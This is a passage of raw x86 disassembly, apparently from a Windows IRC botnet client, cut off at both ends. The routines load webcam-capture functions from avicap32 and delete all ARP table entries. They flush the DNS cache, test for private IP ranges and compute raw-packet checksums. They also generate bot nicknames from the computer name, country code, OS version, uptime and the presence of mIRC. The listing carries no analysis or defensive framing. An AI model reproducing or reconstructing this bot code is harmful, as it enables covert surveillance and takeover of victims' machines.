GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4E3074, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4E3114, eax call esi ; GetProcAddress cmp dword_4E3134, ebx mov dword_4E3084, eax jz short loc_40AA34 cmp dword_4E3180, ebx jz short loc_40AA34 cmp dword_4E30BC, ebx jz short loc_40AA34 cmp dword_4E3074, ebx jz short loc_40AA34 cmp dword_4E3114, ebx jz short loc_40AA34 cmp eax, ebx jnz short loc_40AA3E jmp short loc_40AA34 ; --------------------------------------------------------------------------- loc_40AA29: ; CODE XREF: sub_409DD4+BD7j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E321C, eax loc_40AA34: ; CODE XREF: sub_409DD4+C2Dj ; sub_409DD4+C35j ... mov dword_4E3218, 1 loc_40AA3E: ; CODE XREF: sub_409DD4+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40AA73 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4E3048, eax call esi ; GetProcAddress cmp dword_4E3048, ebx mov dword_4E3128, eax jz short loc_40AA7E cmp eax, ebx jnz short loc_40AA88 jmp short loc_40AA7E ; --------------------------------------------------------------------------- loc_40AA73: ; CODE XREF: sub_409DD4+C75j call ds:dword_4F5360 ; RtlGetLastWin32Error mov dword_4E3224, eax loc_40AA7E: ; CODE XREF: sub_409DD4+C97j ; sub_409DD4+C9Dj mov dword_4E3220, 1 loc_40AA88: ; CODE XREF: sub_409DD4+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409DD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40AA90(int,char *Str,int,int) sub_40AA90 proc near ; CODE XREF: sub_401CC7+2527p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+Str] push esi xor esi, esi cmp dword_4E31B8, esi push edi mov edi, [ebp+arg_8] jz short loc_40AAD8 push dword_4E31BC lea eax, [ebp+Dest] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AAD8: ; CODE XREF: sub_40AA90+1Aj cmp dword_4E31C0, esi jz short loc_40AB0C push dword_4E31C4 lea eax, [ebp+Dest] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AB0C: ; CODE XREF: sub_40AA90+4Ej cmp dword_4E31C8, esi jz short loc_40AB40 push dword_4E31CC lea eax, [ebp+Dest] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AB40: ; CODE XREF: sub_40AA90+82j cmp dword_4E31D0, esi jz short loc_40AB74 push dword_4E31D4 lea eax, [ebp+Dest] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AB74: ; CODE XREF: sub_40AA90+B6j cmp dword_4E31D8, esi jz short loc_40ABA8 push dword_4E31DC lea eax, [ebp+Dest] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40ABA8: ; CODE XREF: sub_40AA90+EAj cmp dword_4E31E0, esi jz short loc_40ABDC push dword_4E31E4 lea eax, [ebp+Dest] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40ABDC: ; CODE XREF: sub_40AA90+11Ej cmp dword_4E31E8, esi jz short loc_40AC10 push dword_4E31EC lea eax, [ebp+Dest] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AC10: ; CODE XREF: sub_40AA90+152j cmp dword_4E31F0, esi jz short loc_40AC44 push dword_4E31F4 lea eax, [ebp+Dest] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AC44: ; CODE XREF: sub_40AA90+186j cmp dword_4E31F8, esi jz short loc_40AC78 push dword_4E31FC lea eax, [ebp+Dest] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AC78: ; CODE XREF: sub_40AA90+1BAj cmp dword_4E3200, esi jz short loc_40ACAC push dword_4E3204 lea eax, [ebp+Dest] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40ACAC: ; CODE XREF: sub_40AA90+1EEj cmp dword_4E3208, esi jz short loc_40ACE0 push dword_4E320C lea eax, [ebp+Dest] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40ACE0: ; CODE XREF: sub_40AA90+222j cmp dword_4E3210, esi jz short loc_40AD14 push dword_4E3214 lea eax, [ebp+Dest] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AD14: ; CODE XREF: sub_40AA90+256j cmp dword_4E3218, esi jz short loc_40AD48 push dword_4E321C lea eax, [ebp+Dest] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AD48: ; CODE XREF: sub_40AA90+28Aj cmp dword_4E3220, esi jz short loc_40AD7C push dword_4E3224 lea eax, [ebp+Dest] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h loc_40AD7C: ; CODE XREF: sub_40AA90+2BEj lea eax, [ebp+Dest] push offset asc_44422C ; "-" push eax ; Dest call _sprintf cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40ADA9 push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h loc_40ADA9: ; CODE XREF: sub_40AA90+302j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx pop edi pop esi pop ebx leave retn sub_40AA90 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_40AE50 push offset dword_4E323C push dword ptr [ebp+8] call _strcmp pop ecx test eax, eax pop ecx jz short loc_40AE50 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call _strncpy lea eax, [ebp-20h] push offset a__9 ; "." push eax call _strtok add esp, 14h test eax, eax jz short loc_40AE50 push eax call _atoi mov dword ptr [esp], offset a__10 ; "." push 0 mov esi, eax call _strtok pop ecx test eax, eax pop ecx jz short loc_40AE50 push eax call _atoi cmp esi, 0Ah pop ecx jz short loc_40AE4B cmp esi, 0ACh jnz short loc_40AE3C cmp eax, 0Fh jle short loc_40AE50 cmp eax, 20h jl short loc_40AE4B loc_40AE3C: ; CODE XREF: .text:0040AE30j cmp esi, 0C0h jnz short loc_40AE50 cmp eax, 0A8h jnz short loc_40AE50 loc_40AE4B: ; CODE XREF: .text:0040AE28j ; .text:0040AE3Aj push 1 pop eax jmp short loc_40AE52 ; --------------------------------------------------------------------------- loc_40AE50: ; CODE XREF: .text:0040ADC6j ; .text:0040ADDDj ... xor eax, eax loc_40AE52: ; CODE XREF: .text:0040AE4Ej pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40AE55 proc near ; CODE XREF: sub_4019E7+4Fp ; sub_401CC7+5D16p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AE7D push [esp+arg_0] call dword_4E317C ; gethostbyname test eax, eax jnz short loc_40AE76 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AE76: ; CODE XREF: sub_40AE55+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AE7D: ; CODE XREF: sub_40AE55+Dj retn sub_40AE55 endp ; =============== S U B R O U T I N E ======================================= sub_40AE7E proc near ; CODE XREF: sub_4019E7+D6p mov ecx, dword_4E3014 xor eax, eax test ecx, ecx jz short locret_40AE8C call ecx ; DnsFlushResolverCache locret_40AE8C: ; CODE XREF: sub_40AE7E+Aj retn sub_40AE7E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE8D proc near ; CODE XREF: sub_401CC7:loc_404148p Dest = byte ptr -88h Size = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+Size] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+Size], edi mov [ebp+var_4], ebx call dword_4E3174 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AF59 sub ecx, 32h jz loc_40AF52 sub ecx, 48h jz short loc_40AEED sub ecx, 6Eh jz short loc_40AEE6 push eax push offset asc_444304 ; "-" loc_40AED5: ; CODE XREF: sub_40AE8D+91j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40AF33 ; --------------------------------------------------------------------------- loc_40AEE6: ; CODE XREF: sub_40AE8D+40j push offset unk_4442B0 jmp short loc_40AF25 ; --------------------------------------------------------------------------- loc_40AEED: ; CODE XREF: sub_40AE8D+3Bj push [ebp+Size] ; Size call _malloc push [ebp+Size] ; Size mov esi, eax push edi ; Val push esi ; Dst call _memset add esp, 10h cmp esi, edi jz short loc_40AF20 lea eax, [ebp+Size] push ebx push eax push esi call dword_4E3174 ; GetIpNetTable cmp eax, edi jz short loc_40AF59 push eax push offset unk_444254 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AF20: ; CODE XREF: sub_40AE8D+79j push offset asc_444280 ; "-" loc_40AF25: ; CODE XREF: sub_40AE8D+5Ej ; sub_40AE8D+CAj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40AF33: ; CODE XREF: sub_40AE8D+57j lea eax, [ebp+Dest] mov [ebp+var_4], edi push eax call sub_415C3F pop ecx loc_40AF43: ; CODE XREF: sub_40AE8D+CEj ; sub_40AE8D+E2j push esi ; Memory call _free mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AF52: ; CODE XREF: sub_40AE8D+32j push offset unk_4442D4 jmp short loc_40AF25 ; --------------------------------------------------------------------------- loc_40AF59: ; CODE XREF: sub_40AE8D+29j ; sub_40AE8D+89j cmp [esi], edi jbe short loc_40AF43 lea ebx, [esi+4] loc_40AF60: ; CODE XREF: sub_40AE8D+E0j push ebx call dword_4E3170 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AF60 jmp short loc_40AF43 sub_40AE8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF71 proc near ; CODE XREF: sub_401CC7+2238p ; sub_401CC7+2389p ... Dst = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E309C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset byte_4E3228 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi ; Dest call _sprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AF71 endp ; =============== S U B R O U T I N E ======================================= sub_40AFCA proc near ; CODE XREF: .text:0040C831p ; sub_413589+24Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AFF3 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AFE6: ; CODE XREF: sub_40AFCA+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AFE6 pop edi jmp short loc_40AFF7 ; --------------------------------------------------------------------------- loc_40AFF3: ; CODE XREF: sub_40AFCA+Aj mov edx, [esp+4+arg_0] loc_40AFF7: ; CODE XREF: sub_40AFCA+27j test esi, esi pop esi jz short loc_40B001 movzx ecx, byte ptr [edx] add eax, ecx loc_40B001: ; CODE XREF: sub_40AFCA+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AFCA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_40B044 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_40B036: ; CODE XREF: .text:0040B03Ej movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_40B036 pop edi cmp eax, 1 loc_40B044: ; CODE XREF: .text:0040B02Aj jnz short loc_40B051 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40B051: ; CODE XREF: .text:loc_40B044j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B06A(char *Dest) sub_40B06A proc near ; CODE XREF: sub_40B44F+49p ; DATA XREF: .data:off_444350o Dest = dword ptr 4 push esi push edi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+Dest] push off_4443B8[edx*4] push offset aS_37 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_43F098, esi jle short loc_40B0D2 loc_40B0AC: ; CODE XREF: sub_40B06A+66j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_3 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_43F098 jl short loc_40B0AC loc_40B0D2: ; CODE XREF: sub_40B06A+40j mov eax, edi pop edi pop esi retn sub_40B06A endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B0D7(char *Dest) sub_40B0D7 proc near ; DATA XREF: .data:00444364o var_C = dword ptr -0Ch Dest = dword ptr 4 push esi push edi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand mov edi, [esp+0Ch+Dest] mov [esp+0Ch+var_C], offset asc_43F134 ; "-" push offset aS_38 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_43F098, esi jle short loc_40B130 loc_40B10A: ; CODE XREF: sub_40B0D7+57j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_4 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_43F098 jl short loc_40B10A loc_40B130: ; CODE XREF: sub_40B0D7+31j mov eax, edi pop edi pop esi retn sub_40B0D7 endp ; =============== S U B R O U T I N E ======================================= sub_40B135 proc near ; CODE XREF: sub_401CC7+6A4Dp ; DATA XREF: .data:00444378o arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_43F098 test esi, esi jle short loc_40B178 loc_40B162: ; CODE XREF: sub_40B135+41j call _rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40B162 loc_40B178: ; CODE XREF: sub_40B135+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40B135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B182(char *Dest) sub_40B182 proc near ; DATA XREF: .data:0044438Co var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc ; "PC" mov [ebp+var_4], 100h xor edi, edi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx lea eax, [ebp+var_4] push eax push esi call ds:dword_4F5394 ; GetComputerNameA test eax, eax jnz short loc_40B1B7 mov esi, offset aPc_0 ; "PC" loc_40B1B7: ; CODE XREF: sub_40B182+2Ej movsx eax, byte ptr [esi] push 41h pop ecx loc_40B1BD: ; CODE XREF: sub_40B182+46j cmp eax, ecx jnz short loc_40B1C4 push 1 pop edi loc_40B1C4: ; CODE XREF: sub_40B182+3Dj inc ecx cmp ecx, 5Bh jl short loc_40B1BD push 61h pop ecx loc_40B1CD: ; CODE XREF: sub_40B182+56j cmp eax, ecx jnz short loc_40B1D4 push 1 pop edi loc_40B1D4: ; CODE XREF: sub_40B182+4Dj inc ecx cmp ecx, 7Bh jl short loc_40B1CD test edi, edi jnz short loc_40B1E3 mov esi, offset aPc_1 ; "PC" loc_40B1E3: ; CODE XREF: sub_40B182+5Aj mov edi, [ebp+Dest] push esi ; Format push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 0Ch cmp dword_43F098, esi jle short loc_40B222 loc_40B1FC: ; CODE XREF: sub_40B182+9Ej call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_0 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_43F098 jl short loc_40B1FC loc_40B222: ; CODE XREF: sub_40B182+78j mov eax, edi pop edi pop esi leave retn sub_40B182 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B228(char *Dest) sub_40B228 proc near ; DATA XREF: .data:004443A0o var_C = byte ptr -0Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx lea eax, [ebp+var_C] push 0Ah push eax push 7 push 800h call ds:dword_4F5398 ; GetLocaleInfoA mov edi, [ebp+Dest] lea eax, [ebp+var_C] push eax push offset aS_22 ; "%s|" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_43F098, esi jle short loc_40B297 loc_40B271: ; CODE XREF: sub_40B228+6Dj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_43F098 jl short loc_40B271 loc_40B297: ; CODE XREF: sub_40B228+47j mov eax, edi pop edi pop esi leave retn sub_40B228 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B29D(char *Dest) sub_40B29D proc near ; DATA XREF: .data:004443B4o var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp+var_94] push edi push eax mov esi, offset dword_4E3244 mov [ebp+var_94], 94h call ds:dword_4F539C ; GetVersionExA call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand cmp [ebp+var_90], 4 pop ecx jnz short loc_40B321 cmp [ebp+var_8C], 0 jnz short loc_40B301 cmp [ebp+var_84], 1 jnz short loc_40B2F1 mov esi, offset a95 ; "95" loc_40B2F1: ; CODE XREF: sub_40B29D+4Dj cmp [ebp+var_84], 2 jnz short loc_40B35D mov esi, offset aNt ; "NT" jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B301: ; CODE XREF: sub_40B29D+44j cmp [ebp+var_8C], 0Ah jnz short loc_40B311 mov esi, offset a98 ; "98" jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B311: ; CODE XREF: sub_40B29D+6Bj cmp [ebp+var_8C], 5Ah jnz short loc_40B358 mov esi, offset aMe_0 ; "ME" jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B321: ; CODE XREF: sub_40B29D+3Bj cmp [ebp+var_90], 5 jnz short loc_40B358 cmp [ebp+var_8C], 0 jnz short loc_40B33A mov esi, offset a2k ; "2K" jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B33A: ; CODE XREF: sub_40B29D+94j cmp [ebp+var_8C], 1 jnz short loc_40B34A mov esi, offset aXp ; "XP" jmp short loc_40B35D ; --------------------------------------------------------------------------- loc_40B34A: ; CODE XREF: sub_40B29D+A4j cmp [ebp+var_8C], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40B35D loc_40B358: ; CODE XREF: sub_40B29D+7Bj ; sub_40B29D+8Bj mov esi, offset a??? ; "???" loc_40B35D: ; CODE XREF: sub_40B29D+5Bj ; sub_40B29D+62j ... mov edi, [ebp+Dest] push esi push offset aS_23 ; "[%s]|" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_43F098, esi jle short loc_40B3A1 loc_40B37B: ; CODE XREF: sub_40B29D+102j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_43F098 jl short loc_40B37B loc_40B3A1: ; CODE XREF: sub_40B29D+DCj mov eax, edi pop edi pop esi leave retn sub_40B29D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B3A7(char *Dest) sub_40B3A7 proc near ; CODE XREF: sub_40B44F+5Cp Source = byte ptr -1Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_40B3F6 push offset aMirc_0 ; "mIRC" call dword_4E3104 ; FindWindowA test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40B3DF mov eax, offset dword_4E3248 loc_40B3DF: ; CODE XREF: sub_40B3A7+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+Source] push 1Ch ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40B41B ; --------------------------------------------------------------------------- loc_40B3F6: ; CODE XREF: sub_40B3A7+1Dj push offset aMirc_1 ; "mIRC" call dword_4E3104 ; FindWindowA test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_40B40F mov eax, offset dword_4E324C loc_40B40F: ; CODE XREF: sub_40B3A7+61j push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx loc_40B41B: ; CODE XREF: sub_40B3A7+4Dj lea eax, [ebp+Source] push eax ; Str call _strlen pop ecx cmp eax, 2 pop esi jbe short loc_40B44A push 1Ch ; Count lea eax, [ebp+Source] push [ebp+Dest] ; Source push eax ; Dest call _strncat lea eax, [ebp+Source] push 1Ch ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 18h loc_40B44A: ; CODE XREF: sub_40B3A7+82j mov eax, [ebp+Dest] leave retn sub_40B3A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B44F(char *Dest,int,int,char *Str1) sub_40B44F proc near ; CODE XREF: sub_4019E7+7Fp ; sub_401B4F+50p ... Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str1 = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_44434C loc_40B45B: ; CODE XREF: sub_40B44F+3Fj cmp [ebp+Str1], 0 jz short loc_40B476 lea eax, [esi-0Ch] push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B480 ; --------------------------------------------------------------------------- loc_40B476: ; CODE XREF: sub_40B44F+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B480: ; CODE XREF: sub_40B44F+25j test eax, eax jnz short loc_40B492 add esi, 14h inc edi cmp esi, offset off_4443C4 jb short loc_40B45B jmp short loc_40B4A0 ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B44F+33j push [ebp+Dest] ; Dest lea eax, [edi+edi*4] call off_444350[eax*4] pop ecx loc_40B4A0: ; CODE XREF: sub_40B44F+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B4B3 push [ebp+Dest] ; Dest call sub_40B3A7 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B4B3: ; CODE XREF: sub_40B44F+57j mov eax, [ebp+Dest] pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B4B8(char *Str,int) sub_40B4B8 proc near ; CODE XREF: sub_40B4D8+Ap ; sub_40B5B0+8p ... Str = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+Str] ; Str call _strlen push [esp+8+arg_4] ; Str mov esi, eax call _strlen pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B4D8(void *Dst,int,char *Src,int) sub_40B4D8 proc near ; CODE XREF: .text:0040B610p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] ; int push [ebp+Src] ; Str call sub_40B4B8 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B4F5 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B4F5: ; CODE XREF: sub_40B4D8+17j push ebx push esi push edi push [ebp+Src] ; Str call _strlen push [ebp+arg_C] ; Str mov esi, eax call _strlen mov edi, eax mov ebx, [ebp+Dst] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_44813C, eax lea eax, [edi+1] mov dword_44815D, eax lea eax, [edi+17h] mov dword_448155, eax pop eax push 74h ; Size sub eax, edi push offset dword_4480D8 ; Src push ebx ; Dst mov dword_44816B, eax call _memcpy push esi ; Size lea eax, [ebx+74h] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esi, 74h push 5 ; Size push offset aGet ; " get " lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, 5 push edi ; Size push [ebp+arg_C] ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, edi push 10h ; Size push (offset aGet+5) ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esp, 44h add esi, 10h push edi ; Size lea eax, [esi+ebx] push [ebp+arg_C] ; Src push eax ; Dst call _memcpy add esi, edi push 38h ; Size add esi, ebx push offset byte_448161 ; Src push esi ; Dst call _memcpy mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B4D8 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B5B0(char *Str,int) sub_40B5B0 proc near ; CODE XREF: .text:0040B5D4p Str = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] ; int push [esp+4+Str] ; Str call sub_40B4B8 push eax call sub_40B634 add esp, 0Ch retn sub_40B5B0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_40B5B0 cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_40B5E7 cmp eax, 0FFFFh jbe short loc_40B5EB loc_40B5E7: ; CODE XREF: .text:0040B5DEj xor eax, eax jmp short loc_40B630 ; --------------------------------------------------------------------------- loc_40B5EB: ; CODE XREF: .text:0040B5E5j 